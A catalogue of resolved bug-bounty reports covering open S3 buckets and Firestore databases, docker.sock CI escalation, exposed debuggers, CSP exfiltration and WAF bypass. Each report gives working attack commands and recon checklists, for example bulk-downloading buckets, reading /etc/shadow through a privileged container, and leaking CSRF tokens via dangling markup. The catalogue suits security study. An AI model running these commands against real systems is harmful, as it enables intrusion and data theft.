Insight — Treat any hardcoded http://localhost or 127.0.0.1 script/resource include in production as a bug: unprivileged ports (>1024) are bindable by any local user, converting a dev leftover into local same-origin JS injection. Also flag it as MiTM-able if plain http.
Real-world example
Open Firebase/Firestore DB from decompiled mobile app
◆ Medium
Specimen #731724 · mobisystems_ltd · none · 11 votes · resolved
Program mobisystems_ltdSurface mobile-androidTag cloud-gcp
Root cause
The Android app ships a Firebase project id and the Firestore security rules allow unauthenticated read/write, so anyone can read/modify the database via the public Firestore REST API.
Method
- Decompile the APK and grep for firebase_database / project id
- Hit the Firestore REST API for that project to read documents
- POST a document to confirm write access
curl https://firestore.googleapis.com/v1/projects/msdict-dev/databases/%28default%29/documents/test \
-H 'Content-Type: application/json' \
-d '{ "fields": { "title": { "stringValue": "TEST" }} }'
Insight — Every mobile app is a config leak: extract Firebase/Firestore/RTDB project ids and probe the REST API (documents / .json) unauthenticated. Open rules are extremely common.
Real-world example
Public S3 bucket: anonymous list + full download
◆ Medium
Specimen #1173598 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface cloudTag cloud-aws
Root cause
S3 bucket ACL/policy grants list and read to anonymous principals, so anyone can enumerate and exfiltrate every object.
Method
- Harvest bucket names from JS files, HTML, subdomains or error messages
- List objects anonymously with aws cli --no-sign-request
- Measure size then sync the whole bucket down
aws s3 ls s3://TARGET-BUCKET
aws s3 ls --summarize --human-readable --recursive s3://TARGET-BUCKET | grep 'Total Size'
aws s3 cp s3://TARGET-BUCKET . --recursive
aws s3 sync s3://TARGET-BUCKET .
Insight — Any URL-fetch/asset param or JS bundle that references an S3 path is a candidate; test list/read anonymously before assuming private. Impact is data theft plus attacker-driven egress cost.
Real-world example
World-editable GitHub project wikis on a trusted org
◆ Medium
Specimen #457032 · nextcloud · none · 9 votes · resolved
Program nextcloudSurface web
Root cause
GitHub wikis default to 'any user can edit'; on a reputable org's repos this lets an attacker inject malicious install instructions/links under a trusted domain.
Method
- Enumerate org repos and open each /wiki
- Check if the Edit button is available to an unrelated logged-in account
- Report the ones editable by anyone (do not deface)
https://github.com/ORG/REPO/wiki -> click Edit as a random account
Insight — Recon checklist item: for every target org, test whether repo wikis are editable by non-collaborators (Settings > default 'wikis edited by anyone'). Trusted-domain content injection enables convincing malware/social-engineering lures.
Real-world example
CI runner with mounted docker.sock → host root
◆ Medium
Specimen #1417211 · gitlab · 100 · 9 votes · resolved
Program gitlabSurface otherChain CI job execution → docker.sock control → privileged containe
Root cause
A GitLab runner registered with -v /var/run/docker.sock:/var/run/docker.sock (Docker-socket binding / DinD) gives every CI job full control of the host Docker daemon. Any user who can run a pipeline launches a privileged container mounting the host filesystem and reads/writes anything as root.
Method
- Identify a runner whose executor mounts the host docker socket (docker-volumes docker.sock)
- Push a pipeline job that runs a container with --privileged and the host root bind-mounted
- Read /etc/shadow (or write to it / drop an SSH key) to prove host root
stages: [exploiter]
exploiter:
stage: exploiter
tags: [exploiter]
script:
- docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c "cat /host/etc/shadow"
Insight — Mounting docker.sock into a container is equivalent to granting root on the host — a socket-bound CI runner is a shared-tenancy root escalation, not isolation. Same idea applies to any container/pod with the docker socket, a privileged flag, or hostPath mounts. Prefer rootless/Kaniko builds.
Real-world example
Anonymous listing/download of a misconfigured S3 bucket
◆ Medium
Specimen #1062803 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface cloudTag cloud-aws
Root cause
An S3 bucket allowed unauthenticated LIST and GET, exposing prod/admin/beta directories and documents to anyone.
Method
- Discover the bucket name (URL, JS, DNS, cert transparency, brute force)
- Open https://BUCKET.s3.amazonaws.com/ to confirm listing
- Enumerate/download with the AWS CLI unauthenticated
aws s3 ls s3://BUCKET/ --no-sign-request
aws s3 ls s3://BUCKET/PREFIX/ --no-sign-request
aws s3 cp s3://BUCKET/PATH/file . --no-sign-request
Insight — After finding any org S3 bucket, always test anonymous LIST/GET (and WRITE) with --no-sign-request. Bucket names leak in page source, JS, DNS CNAMEs and TLS SANs; the recon-to-impact path is one CLI command.
Real-world example
Anonymous FTP allows browsing and downloading hosted files
◆ Medium
Specimen #197976 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface network
Root cause
An FTP service accepted anonymous login (230 Login successful), exposing internal directories and files for listing and download.
Method
- Scan target hosts for open port 21 (and non-standard FTP ports).
- Attempt anonymous login (user: anonymous, any password).
- List/RETR files - internal directories and documents are readable.
ftp TARGET
User: anonymous
Pass: anonymous@
# 230 Login successful -> LIST / RETR
Insight — Include anonymous FTP in recon: nmap --script ftp-anon, or connect directly. Anonymous read (and sometimes STOR write) on internal file servers is a fast, high-value disclosure and occasionally an upload-to-webroot foothold.
Real-world example
Cloudflare Access edge-auth bypass exposing Symfony/Mautic debug surface
◆ Medium
Specimen #592885 · unikrn · awarded · 7 votes · resolved
Program unikrnSurface webChain Cloudflare Access bypass -> phpinfo + Symfony profiler -&Tag webhook
Root cause
Cloudflare Access only gates the front login path of the Mautic CRM; direct backend URLs (auth endpoints, phpinfo, Symfony web profiler) are not covered by the access policy, so requesting them directly bypasses the edge authentication and exposes debug/config data.
Method
- Enumerate backend paths not matched by the Cloudflare Access rule (login endpoints, /phpinfo, Symfony profiler).
- Request them directly; they return without the Access challenge.
- Harvest server config from phpinfo and Symfony profiler panels: ?panel=config, ?panel=logger, request log at /_profiler.
https://crm.TARGET.com/oauth/v2/authorize_login # bypasses Cloudflare Access
https://crm.TARGET.com/<path>/phpinfo
https://crm.TARGET.com/_profiler/<token>?panel=config
https://crm.TARGET.com/_profiler/empty/search/results?limit=10
Insight — Edge/WAF/SSO access controls (Cloudflare Access, oauth-proxy) usually protect specific paths; always test direct requests to backend and debug routes. Symfony's web profiler (?panel=config/logger, /_profiler) is a goldmine of config, credentials, IPs and request logs when left reachable in prod.
Real-world example
Sensitive file rewritten with world-readable perms / symlink & special-file clobber
◆ Medium
Specimen #1573634 · curl · none · 6 votes · resolved
Program curlSurface other
Root cause
When updating on-disk databases (cookiejar, altsvc, hsts) curl writes a new file with default 0666&~umask instead of preserving the original mode, and follows symlinks / regular-file assumptions, so previously-protected secrets become other-user readable and softlinks or /dev/null get clobbered (CVE-2022-32207).
Method
- Create a 0600 cookie DB: install -m600 /dev/null cookie.db
- Run curl -b cookie.db -c cookie.db https://site
- ls -l cookie.db -> now 0644 (world-readable); a symlink target would instead be overwritten by a regular file.
umask 022; install -m 600 /dev/null cookie.db; curl -b cookie.db -c cookie.db https://google.com; ls -l cookie.db
Insight — When a program rewrites a file via create-temp-then-rename, check it (a) clones the original mode/owner, (b) refuses non-regular files (symlink/dev), and (c) verifies ownership before trusting perms. Otherwise secret stores silently become world-readable or special files get destroyed.
Real-world example
SharePoint _vti_bin web services exposed to anonymous users
◆ Medium
Specimen #300540 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
SharePoint front-end web services under /_vti_bin/ (e.g. lists.asmx) are reachable anonymously, disclosing list/site structure and metadata usable for further attacks.
Method
- Request /_vti_bin/lists.asmx?WSDL on a SharePoint host
- Confirm anonymous access to the SOAP web-services
- Enumerate lists/sites/users via the exposed services
GET /_vti_bin/lists.asmx?WSDL
# other: /_vti_bin/sitedata.asmx , /_vti_bin/webs.asmx , /_vti_bin/people.asmx
Insight — On any SharePoint target, probe the /_vti_bin/*.asmx web services for anonymous access - they expose lists, sites and user data and are a classic pre-auth SharePoint recon surface.
Real-world example
Leftover Drupal install.php reachable post-install + error disclosure
◆ Medium
Specimen #1844674 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
Drupal's core/install.php was left accessible after installation (returns 200), and the site throws verbose PluginNotFoundException errors, exposing install/reinstall surface and internal detail.
Method
- Fingerprint Drupal (CHANGELOG.txt, /core, X-Generator)
- Request /core/install.php and check for 200 (installer reachable)
- Optionally enumerate with drupwn --mode enum --target <site>
- Note verbose errors (e.g. PluginNotFoundException) as additional disclosure
GET /core/install.php HTTP/1.1
# 200 OK => installer left in place
python3 ./drupwn --mode enum --target https://TARGET/
Insight — On CMS targets always probe leftover setup/install scripts (Drupal /core/install.php, WordPress /wp-admin/install.php, /setup) - a reachable installer plus verbose framework errors is a recurring low-effort finding.
Real-world example
NULL DACL on Windows named pipe grants Everyone full control
◆ Medium
Specimen #394861 · mariadb · none · 6 votes · resolved
Program mariadbSurface desktop
Root cause
SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE) sets a NULL (not empty) DACL on the server named pipe, which grants full access to Everyone; an attacker can then rewrite the ACE to Deny-All and block even administrators.
Method
- Audit native code for SetSecurityDescriptorDacl calls passing NULL as the pDacl with bDaclPresent=TRUE
- Locate the securable object (named pipe / shared memory / registry key) created with that descriptor
- A NULL DACL = no protection; any local user can open the object and re-apply a restrictive/Deny ACE
if (!SetSecurityDescriptorDacl(&sdPipeDescriptor, TRUE, NULL, FALSE))
// TRUE = DACL present, NULL pointer = grant-everyone / no access control
Insight — When reviewing Windows service/IPC code, grep for SetSecurityDescriptorDacl(...TRUE, NULL...) and CreateNamedPipe/CreateFileMapping without a SECURITY_ATTRIBUTES DACL. NULL DACL is not 'default secure' — it is world-accessible.
Real-world example
Exposed Node.js Inspector/debugger -> unauthenticated RCE
◆ Medium
Specimen #415329 · nodejs · none · 5 votes · resolved
Program nodejsSurface otherTag supply-chain
Root cause
A Node.js process started with --inspect/--debug exposes the V8 debugger, which historically bound broadly and accepts connections from any address on TCP 5858 (legacy) / 9229 (Inspector). The debug protocol's evaluate lets a remote party run arbitrary JS and shell out.
Method
- Scan for open debugger ports (5858 legacy, 9229 Inspector) on the target
- Connect with a debug client / Inspector protocol
- Use the evaluate/Runtime.evaluate request to run JS and call child_process
# discovery
nmap -p 5858,9229 TARGET
# then via the debug protocol 'evaluate':
require('child_process').execSync('id')
Insight — An exposed language debugger is an RCE-equivalent service. When fingerprinting hosts running Node (BIG-IP and other appliances embed it), probe 9229/5858; the Inspector was network-reachable and unauthenticated by default in older versions. Same idea applies to other language debuggers/inspectors bound to non-loopback.
Real-world example
World read/write S3 bucket via --no-sign-request
◆ Medium
Specimen #809212 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface cloudTag cloud-aws
Root cause
An S3 bucket has an ACL/policy granting the AllUsers group both read and write, so unauthenticated clients can list, download, upload, and move objects with no credentials.
Method
- Resolve the bucket from a subdomain/asset (s3.amazonaws.com/files.<host> or a virtual-hosted URL).
- List/download everything: aws s3 sync s3://<bucket>/ . --no-sign-request.
- Prove write access: aws s3 mv poc.html s3://<bucket>/ --no-sign-request and fetch it back via HTTPS.
aws s3 ls s3://files.TARGET/ --no-sign-request --region REGION
aws s3 sync s3://files.TARGET/ . --no-sign-request --region REGION
aws s3 mv poc.html s3://files.TARGET/ --no-sign-request --region REGION
Insight — For any S3/GCS/Azure bucket you can name, test anonymous read AND write with --no-sign-request. Public write is the higher-impact case: content replacement/defacement and (if the bucket backs a site) potential stored XSS or supply-chain injection.
Real-world example
OpenSSL config read from attacker-controllable build path on shared host
◆ Medium
Specimen #1623175 · nodejs · none · 4 votes · resolved
Program nodejsSurface other
Root cause
Node 18 (OpenSSL 3.0) tries to read openssl.cnf from the CI build-time path /home/iojs/build/ws/out/Release/obj.target/deps/openssl/openssl.cnf at startup; on a shared Linux host an attacker who can control a user named 'iojs' (or that home dir) can plant a config file and influence other users' OpenSSL/crypto configuration (CVE-2022-32222).
Method
- strace the binary at startup and grep for openssl.cnf reads
- Note the hardcoded build path pointing at a foreign home directory
- On a multi-tenant host, create/control that path and plant an openssl.cnf (e.g. weaken ciphers, load a provider)
strace -f -ff -e trace=file -s 128 ./node 2>&1 | grep openssl
# openat(AT_FDCWD, "/home/iojs/build/ws/out/Release/obj.target/deps/openssl/openssl.cnf", O_RDONLY)
Insight — strace any security-relevant binary at startup for config/library reads from writable or foreign paths (build artifacts, /tmp, CWD-relative, another user's home). A leaked build-time absolute path becomes a config-injection primitive on shared/multi-tenant systems.
Real-world example
Shipped binary missing ASLR/DEP (exploit-mitigation audit)
◆ Medium
Specimen #380102 · nextcloud · awarded · 2 votes · resolved
Program nextcloudSurface desktopTag file-upload
Root cause
The Windows desktop client was compiled without /DYNAMICBASE (ASLR) and /NXCOMPAT (DEP), so any memory-corruption bug in the client or its bundled libs (e.g. Qt QJsonDocument) becomes far more exploitable.
Method
- Download the vendor's released binaries (client .exe/.dll)
- Run a mitigation checker (BinScope, checksec, PESecurity, or 'dumpbin /headers') to inspect DllCharacteristics
- Report missing ASLR/DEP/CFG as a hardening finding, citing a plausible corruption vector in a bundled lib
# Windows: Get-PESecurity / winchecksec against the client
winchecksec NextcloudClient.exe # look for ASLR=false, DEP/NX=false
# or
dumpbin /headers Nextcloud.exe | findstr /i "Dynamic base\|NX compatible"
Insight — For any distributed compiled client (desktop/mobile/thick app), checking the actual shipped binary for missing ASLR/DEP/CFG/RELRO/PIE is a low-effort, accepted finding — and shows source-level fixes (a CMake flag) can silently fail to reach releases (they fixed the code in 2017 but the 2.3.3.1 build still lacked it).
Real-world example
Unrestricted Google Maps API key exposed in client
◆ Low
Specimen #1065041 · fetlife · awarded · 227 votes · resolved
Program fetlifeSurface web
Root cause
A Google Maps API key was exposed across multiple client endpoints/JS without HTTP-referrer/API restrictions, letting anyone bill the owner's account via the Geocode API (financial DoS).
Method
- Grep JS/endpoints for AIza... Google API keys
- Test the key against paid APIs directly (Geocode/Directions)
- If it returns data unrestricted, it's abusable for billing DoS
https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=AIza<KEY>
Insight — Client-side Google API keys are only safe if scoped by referrer/IP/API. Always test an exposed AIza key against billable endpoints to demonstrate cost/DoS impact.
Real-world example
Web page seizes an antivirus's injected privileged JS command interface
◆ Medium
Specimen #470544 · kaspersky · awarded · 13 votes · resolved
Program kasperskySurface webChain malicious page -> hijack AV command interface -> disabTag supply-chain
Root cause
When no browser extension is present, Kaspersky injects its own script into every page to expose a command interface. Its anti-tamper measures (hidden script URL, run-before-page-scripts) are bypassable by the page fetching itself and by re-running Kaspersky's script after hooking JS internals - giving the page full control of the AV command interface (disable protections, blocklist URLs) and reachability into the privileged avp.exe process.
Method
- Detect the AV-injected script/bridge in the page (the page can download its own source to find it)
- Hook/restore the JS objects the injected script relies on, then re-trigger it
- Invoke the exposed command interface to toggle AV features / add blocklist entries
Insight — Security products that inject a privileged content script into every page create a new attack surface: any origin sharing that JS realm can hook builtins to reach the bridge. When testing AV/proxy/extension products, look for injected bridges and try to reach their command channel from page script.
Real-world example
Internet-exposed RabbitMQ console with default guest:guest admin creds
◆ Low
Specimen #753602 · unikrn · awarded · 105 votes · resolved
Program unikrnSurface webTag account-takeover
Root cause
A RabbitMQ management console was exposed to the internet and still had the built-in guest:guest account (default administrative credentials), granting full access to queues and broker management.
Method
- Locate an exposed RabbitMQ management UI (default port 15672)
- Log in with guest:guest
- Confirm admin access to queues/exchanges
# RabbitMQ management UI
user: guest
pass: guest
Insight — Default credentials on management/admin panels (RabbitMQ guest:guest, Grafana admin:admin, Kibana, Jenkins, actuator) remain a reliable finding. Confirm ownership via TLS cert SANs/subdomain, then check the default account is disabled. Note RabbitMQ's guest is normally restricted to localhost - internet exposure is the misconfiguration.
Real-world example
S3 bucket open to any authenticated AWS user
◆ Low
Specimen #819278 · greenhouse · awarded · 53 votes · resolved
Program greenhouseSurface cloudTag cloud-aws
Root cause
A bucket ACL grants the AWS 'AuthenticatedUsers' group (any AWS account, not truly public) list/read (and potentially write/delete), so any logged-in AWS user can browse, download, and possibly delete/reclaim the bucket contents.
Method
- Find the bucket URL and confirm anonymous access is denied but authenticated-AWS access works
- Use authenticated AWS creds: aws s3 ls s3://BUCKET
- Download contents; test for write/delete (do not destructively act) to gauge AuthenticatedUsers grants
aws s3 ls s3://grnhse-marketing-site-assets --profile any-aws-account
aws s3 cp s3://grnhse-marketing-site-assets/ . --recursive
Insight — 'AuthenticatedUsers' ACL != public: a bucket that returns AccessDenied anonymously may still be fully readable to ANY AWS account. Always retest S3 with valid (any) AWS credentials, not just unauthenticated.
Real-world example
Cloudflare WAF bypass via exposed origin IP
◆ Low
Specimen #1536299 · smtp2go · USD 100 · 53 votes · resolved
Program smtp2goSurface web
Root cause
The origin server accepted direct connections from any IP instead of restricting to Cloudflare ranges; the real origin IP was discoverable via Censys/Shodan certificate & service data, letting an attacker skip the WAF entirely.
Method
- Search Censys/Shodan for the target's cert/favicon/Host to find candidate origin IPs
- Curl the origin IP directly with Host: target header
- Confirm the app responds without Cloudflare
- Send unfiltered payloads / DoS directly to origin
curl -k https://ORIGIN_IP/login/ -H 'Host: target.com'
# search.censys.io: services.tls.certificates.leaf_data.subject.common_name: target.com
Insight — Cloudflare/WAF only protects traffic that goes through it. Always hunt the origin IP (Censys, Shodan, historical DNS, SPF/MX records, dev subdomains) and verify the origin isn't firewalled to CDN ranges. Bypass restores every attack the WAF blocked.
Real-world example
GateKeeper/quarantine bypass: browser omits com.apple.quarantine xattr
◆ Low
Specimen #374106 · brave · awarded · 52 votes · resolved
Program braveSurface desktopChain no-quarantine download + app launch permission + executable Tag file-upload
Root cause
A browser that downloads files without tagging them with the macOS com.apple.quarantine extended attribute lets the file skip GateKeeper/code-signing prompts on execution. Chained with the browser's ability to launch files (e.g. runnable Java archives), a downloaded payload executes with fewer/no warnings.
Method
- Download an executable/archive (e.g. test.jar) via the target browser
- Verify the file lacks the com.apple.quarantine xattr (xattr -l file)
- Launch it from the browser's downloads UI; GateKeeper does not gate it
xattr -l ~/Downloads/test.jar # expect: no com.apple.quarantine
# vs a properly-quarantined download which triggers GateKeeper
Insight — When auditing desktop apps that download files, check whether they set the OS quarantine flag. Missing quarantine defeats GateKeeper/MOTW-style protections; combine with any launch-from-app capability and a self-executing format (.jar) for one-click execution.
Real-world example
CSP / safe templating not applied to error pages
◆ Low
Specimen #250729 · security · awarded · 45 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Error pages were served without the site's strict Content-Security-Policy (and outside the safe-by-default templating), so the XSS/script protections the main app relies on were absent on those responses. (The submitted PoC delivery was weak/self-XSS; the accepted defect is the CSP gap on error pages.)
Method
- Trigger an error/blank page (e.g. a malformed path such as trailing % )
- Inspect response headers and confirm CSP is missing/relaxed vs normal pages
- Note error pages as an XSS-worthy surface if any reflection exists there
https://TARGET/somepath% -> error/blank page returned WITHOUT the site CSP header
Insight — Security headers are frequently attached by the app framework but NOT by the error/handler tier (nginx default 4xx/5xx, framework exception pages). Diff CSP/X-Frame-Options/templating between normal and error responses; a reflection on a CSP-less error page is real XSS.
Real-world example
CSP img-src bypass via allowlisted analytics endpoint + dangling markup
◆ Low
Specimen #199779 · security · awarded · 44 votes · resolved
Program securitySurface webChain HTML injection -> dangling markup -> exfil via CSP-allTag account-takeover
Root cause
A strict CSP allowed img-src to www.google-analytics.com. Because GA's /collect endpoint logs arbitrary strings supplied by the attacker's own GA property, a dangling-markup injection (unclosed <img src=...ea=) exfiltrates page-secret content (CSRF token) to the attacker's analytics account without violating CSP.
Method
- Find an HTML-injection point that need not execute script (dangling markup is enough)
- Inject an <img> whose src is the CSP-allowed GA collect URL ending with the open ea= parameter
- Following markup up to the next quote (e.g. a hidden CSRF input) is appended to the request
- Read the captured value in your GA property
<img src='https://www.google-analytics.com/collect?v=1&tid=UA-ATTACKER&cid=1&t=event&ec=x&ea=
<input type="hidden" name="csrf_token" value="SECRET">
Insight — An 'image-only' CSP allowlist is not safe if any allowed host echoes/stores attacker input (analytics collect, image proxies, logging pixels). Combine allowlisted-endpoint exfil with dangling-markup (no JS) to steal CSRF tokens/secrets under strict CSP.
Real-world example
Staging/pre-production server with open self-registration exposes internal data
◆ Low
Specimen #540711 · gitlab · awarded · 28 votes · resolved
Program gitlabSurface web
Root cause
A pre-production environment (pre.gitlab.com) permitted public self-registration and let any registered user browse internal groups/projects and create their own, exposing employee-created data.
Method
- Discover a staging/pre-prod hostname (pre., staging., qa., dev.)
- Register an account through the open sign-up
- Browse /explore/groups and project members to view internal projects and employee accounts
https://pre.gitlab.com/users/sign_in # open registration
https://pre.gitlab.com/explore/groups # internal groups visible
Insight — Non-production hosts often mirror production data but drop access controls (open registration, no SSO, debug on). Always enumerate staging/pre-prod subdomains and test whether self-registration grants access to internal resources.
Real-world example
Exposed cAdvisor container metrics on :8080
◆ Low
Specimen #1697599 · tiktok · USD 100 · 28 votes · resolved
Program tiktokSurface web
Root cause
cAdvisor (Container Advisor) was left publicly reachable on port 8080, exposing container performance metrics, resource usage and infrastructure detail without authentication.
Method
- Port-scan in-scope hosts for 8080 and other monitoring ports
- Check for unauthenticated cAdvisor/Prometheus/Grafana/Kibana UIs
- Enumerate exposed container/infra metadata
GET http://TARGET:8080/containers/ HTTP/1.1
# cAdvisor UI / /metrics endpoint reachable unauthenticated
Insight — Scan for exposed ops/monitoring services (cAdvisor:8080, Prometheus:9090, node_exporter:9100, Grafana:3000, Kibana:5601). They leak internal hostnames, container names and infra topology that aid further attacks.
Real-world example
CDN/WAF bypass via directly reachable origin IPs
◆ Low
Specimen #315838 · coalition · none · 26 votes · resolved
Program coalitionSurface webChain Origin IP discovery -> direct access -> WAF/DDoS/rate-
Root cause
Origin servers behind Cloudflare accept traffic from any source IP instead of only Cloudflare's ranges, so an attacker who discovers the origin IPs can hit the app directly, bypassing WAF, rate limiting and DDoS protection.
Method
- Discover origin IPs (historical DNS, SSL cert search, misconfigured records, headers)
- Request the site directly at the origin IP (Host header set to the site)
- Confirm the origin responds (nginx server header, no cf-ray)
- Route attacks directly, evading Cloudflare protections
curl -H 'Host: www.target.com' http://ORIGIN_IP/ # nginx responds directly, no cf-ray = protection bypassed
Insight — After finding origin IPs, verify they aren't firewalled to CDN ranges. Direct origin access negates every edge control. Fix: allow only the CDN's IP ranges (and rotate the origin IP after exposure).
Real-world example
Broken-link hijacking of externally-linked domains/handles from trusted assets
◆ Low
Specimen #2011298 · stripe · awarded · 26 votes · resolved
Program stripeSurface webChain Register linked domain -> host malicious installer/image Tag subdomain-takeover
Root cause
A trusted asset (official repo README/sidebar, homepage, program page, social buttons) links to an external resource the org no longer controls; anyone who registers that domain/handle inherits the trust of the linking site for phishing or supply-chain contamination.
Method
- Crawl trusted assets (repos, docs, homepage, HackerOne program URL, team pages, social icons) and extract every outbound link.
- For each external domain/social handle, check registrability/availability (WHOIS, provider signup, LinkedIn/Twitter handle free).
- Claim an unowned one and host lookalike install instructions or a fake login to demonstrate phishing/supply-chain impact.
# stripe/veneur repo sidebar -> https://veneur.org (no longer Stripe-controlled)
# Register veneur.org -> serve malicious install instructions / fake Stripe login.
# Also: forks of the repo still carry the dead link (blast radius multiplier).
Insight — Outbound links from high-trust surfaces are an attack surface: documentation domains enable supply-chain poisoning of installers/images, and unclaimed social handles enable impersonation. Enumerate links on repos/homepages/program pages and test each external target for ownership.
Real-world example
Exported Android broadcast receiver reachable by any app
◆ Low
Specimen #289000 · bitwarden · none · 23 votes · resolved
Program bitwardenSurface mobile-android
Root cause
A BroadcastReceiver was declared android:exported=true with no permission guard, so any third-party app could send it crafted intents.
Method
- Decompile APK / read AndroidManifest for android:exported=true components
- Enumerate and probe the receiver with drozer (app.broadcast.send)
- Craft intents to reach the handler
run app.broadcast.send --component com.x8bit.bitwarden com.x8bit.bitwarden.PackageReplacedReceiver
Insight — Grep the manifest for exported components (receivers, services, activities, providers) lacking a signature-level android:permission; these are the free IPC attack surface. Fix pattern: android:permission with protectionLevel=signature.
Real-world example
SSH known_hosts silently falls back to global file
◆ Low
Specimen #3477116 · curl · none · 18 votes · resolved
Program curlSurface other
Root cause
libcurl with libssh did not set SSH_OPTIONS_GLOBAL_KNOWNHOSTS to /dev/null, so when a host was absent from the user-specified known_hosts, libssh fell back to /etc/ssh/ssh_known_hosts and accepted any identity present there - defeating the intent of a restricted list.
Method
- Point --knownhosts at a restricted (empty) file
- Ensure the target host has an entry in the global /etc/ssh/ssh_known_hosts
- curl --knownhosts knownhosts user@host.example still validates successfully
echo "" > knownhosts
curl --knownhosts knownhosts user@host.example # succeeds via global file
Insight — Trust-store / allowlist validation may silently fall back to a broader default store. When code claims to restrict to a user-supplied list, verify the list is actually exclusive and that no global/default file is consulted on miss.
Real-world example
Django debug toolbar / settings panel exposed in a reachable environment
◆ Low
Specimen #2078707 · mozilla · awarded · 17 votes · resolved
Program mozillaSurface webTag cloud-gcp
Root cause
A Django app running with DEBUG/debug_toolbar and ADMIN_ENABLED on a reachable host exposes the full settings panel: DATABASES host/user, INTERNAL_IPS, Redis cache location, AWS SES/SQS ARNs and CORS origins.
Method
- Identify a dev/staging Django host
- Hit debug endpoints (e.g. /fxa-rp-events, healthcheck) that render the settings/debug panel
- Read DB host, internal IPs, cache/queue endpoints for pivoting
https://<django-host>/fxa-rp-events # renders Django debug settings dump
Insight — Probe dev/staging hosts for the Django debug toolbar or unhandled stack traces. The settings dump leaks DATABASES HOST/USER, INTERNAL_IPS, Redis/queue endpoints and cloud ARNs - a recon goldmine for pivoting into production.
Real-world example
Tomcat /examples exposed unauthenticated
◆ Low
Specimen #147161 · informatica · none · 14 votes · resolved
Program informaticaSurface webTag account-takeover
Root cause
Default Apache Tomcat /examples servlet and JSP sample apps are left deployed and reachable without authentication, exposing server-side sample scripts usable for source/info disclosure and further attacks (SnoopServlet, session/cookie examples).
Method
- Request /examples/servlets/index.html and /examples/jsp/index.html
- A 200 with the sample index confirms the examples app is deployed
- Enumerate the sample servlets/JSPs for info disclosure and known example-app issues
GET /examples/jsp/index.html HTTP/1.1
Host: TARGET
GET /examples/servlets/index.html HTTP/1.1
Host: TARGET
Insight — On any Tomcat/Java host, probe /examples/, /manager/, /host-manager/, /docs/. Leftover default apps are quick wins: sample servlets leak headers/sessions and are a known enumeration surface; remove them or add auth.
Real-world example
S3 bucket writable by any authenticated AWS user
◆ Low
Specimen #881004 · nutanix · none · 6 votes · resolved
Program nutanixSurface cloudTag cloud-aws
Root cause
The bucket ACL granted the AWS 'Authenticated Users' group (any account holder in all of AWS, not just the org) write/delete permission, allowing an outsider to plant or delete objects.
Method
- Identify the target S3 bucket
- With any AWS credentials, test write/delete (aws s3 cp / rm) against it
- Confirm objects can be written/deleted
- Plant a malicious file staff may later trust/open
aws s3 cp evil.txt s3://TARGET-BUCKET/ --acl bucket-owner-full-control
aws s3 ls s3://TARGET-BUCKET/
Insight — 'Authenticated Users' in an S3 ACL means anyone with any AWS account, not your org. Always test buckets with your own AWS creds, not just anonymously; write access enables watering-hole/content-tampering.
Real-world example
Web server serving dotfiles (.git/.gitignore/.env)
◆ Low
Specimen #120026 · gratipay · awarded · 5 votes · resolved
Program gratipaySurface web
Root cause
Nginx had no rule denying hidden/dot files, so requests for /.gitignore, /.git/*, /.env etc. were served directly, potentially leaking VCS metadata, source and secrets.
Method
- Request common dotfiles/dirs directly against the web root
- If served (200 + file content), pivot to /.git/config, /.git/HEAD to reconstruct the repo, or /.env for secrets
# probe list
/.gitignore
/.git/config
/.git/HEAD
/.env
/.htaccess
/.svn/entries
/.DS_Store
# nginx fix
location ~ /\. { deny all; }
Insight — Always fetch dotfiles at the web root; a served /.git/ enables full source reconstruction (git-dumper) and /.env leaks secrets. Their presence also signals a permissive server config worth deeper probing.
Real-world example
Node.js Permission Model bypass: file metadata mutable on read-only path (CVE-2026-48935)
◆ Low
Specimen #3625987 · nodejs · none · 4 votes · resolved
Program nodejsSurface otherTag subdomain-takeover
Root cause
Node.js Permission Model enforced --allow-fs-read/write on data operations but missed a file-metadata operation (FileHandle.utimes in the promises API), so atime/mtime of a path opened under a read-only grant could still be modified.
Method
- Run Node with a restrictive Permission Model grant, e.g. only --allow-fs-read for a path.
- Open a handle to a file under that read-only path and call the uncovered metadata API (utimes).
- Observe the metadata change succeeds despite the path being read-only, proving incomplete permission coverage.
// node --allow-fs-read=/ro/path app.js (no write grant)
import { open } from 'node:fs/promises';
const fh = await open('/ro/path/file', 'r');
await fh.utimes(new Date(), new Date()); // succeeds -> metadata modified on read-only path
Insight — When auditing any sandbox/permission-model, enumerate the FULL API surface (data ops AND metadata ops: utimes/chmod/chown/rename/link), because coverage gaps on 'minor' operations are common. Diff each fs method against where the permission check is applied.
Real-world example
Anonymous S3 bucket listing and download via company-name guess
◆ Low
Specimen #739858 · stripo · none · 3 votes · resolved
Program stripoSurface cloudTag cloud-aws
Root cause
An S3 bucket named after the company had a public/misconfigured ACL/policy allowing anonymous (unauthenticated) list and object read, so all hosted content could be enumerated and downloaded.
Method
- Guess bucket name from the org/brand handle (e.g. s3://<company>).
- List contents anonymously with the AWS CLI.
- Bulk-download everything to local storage.
aws s3 ls s3://stripo
aws s3 sync s3://stripo .
Insight — Always test buckets named after the target brand/product for anonymous access; try both list (ls) and read (sync/cp) since ListBucket and GetObject are separate permissions. Use --no-sign-request when no creds are configured.
Real-world example
Unauthenticated local gRPC server in CLI daemon
◆ Low
Specimen #1369191 · stripe · awarded · 19 votes · resolved
Program stripeSurface desktopTag webhook
Root cause
`stripe-cli` daemon exposes a local gRPC server with no authentication; any process on the machine can invoke its RPCs, including Listen, which streams all of the user's account webhooks to the caller.
Method
- Run stripe daemon (exposes localhost gRPC)
- From any local app, connect to the gRPC port
- Call the Listen procedure -> receive all webhooks for the victim's Stripe account
Insight — CLI/dev tools that open localhost servers (gRPC/HTTP/WebSocket) frequently skip auth, trusting 'localhost'. Any co-resident app (malware, another user) can drive them. Enumerate listening loopback ports of dev tooling and probe their RPCs.
Real-world example
Cert org-name pivot + port scan to open Jenkins holding source & secrets
◆ Info
Specimen #167859 · eternal · awarded · 99 votes · resolved
Program eternalSurface webChain cert org pivot -> port scan -> open Jenkins -> sour
Root cause
